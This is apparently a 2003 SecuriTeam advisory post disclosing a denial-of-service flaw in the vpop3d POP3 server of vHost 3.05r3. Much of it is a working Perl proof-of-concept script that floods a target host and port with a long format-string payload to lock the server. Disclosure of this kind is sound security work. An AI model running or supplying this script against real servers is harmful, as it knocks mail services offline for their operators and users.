[UNIX] vHost Denial of Service Attack (USER)

From: SecuriTeam (support_at_securiteam.com)
Date: 08/24/03

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Date: 24 Aug 2003 18:10:23 +0200

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      vHost Denial of Service Attack (USER)
    ------------------------------------------------------------------------

    SUMMARY

     <http://chaogic.com/vhost/> vHost is "a one-step solution for all virtual
    hosting needs". A DoS on the vpop3d server can be caused by using a
    lengthy USER request.

    DETAILS

    Vulnerable systems:
     * vHost version 3.05r3

    Once send the vHost product with a large USER string it gives this message
    after 5mins or so "-ERR POP3 Server Abnormal Shutdown: Timeout waiting for
    command from client". After which no more connections will be possible to
    the vHost product.

    Exploit:
    #!/usr/bin/perl

    #vpop3d Denial Of Service..
    #Proof of Concept script..
    #Deadbeat, uk2sec..
    #e: deadbeat@sdf.lonestar.org
    #e: daniels@legend.co.uk

    use IO::Socket;
    $host = $ARGV[0];
    $port = $ARGV[1];
    if(!$ARGV[1]){
            die "usage: perl $0 <host> <port>\n";
    }
    $dos = "%s%s"x5000;
    $req = "USER $dos";
    $sox = IO::Socket::INET->new(
            Proto=>"tcp",
            PeerPort=>$port,
            PeerAddr=>$host
    )or die "can't connect to $host : $port\n";
    sleep 2;
    print $sox $dos;
    sleep 1;
    print "done..vpop3d should lock now :)\n";

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:deadbeat@sdf.lonestar.org>
    Daniel.

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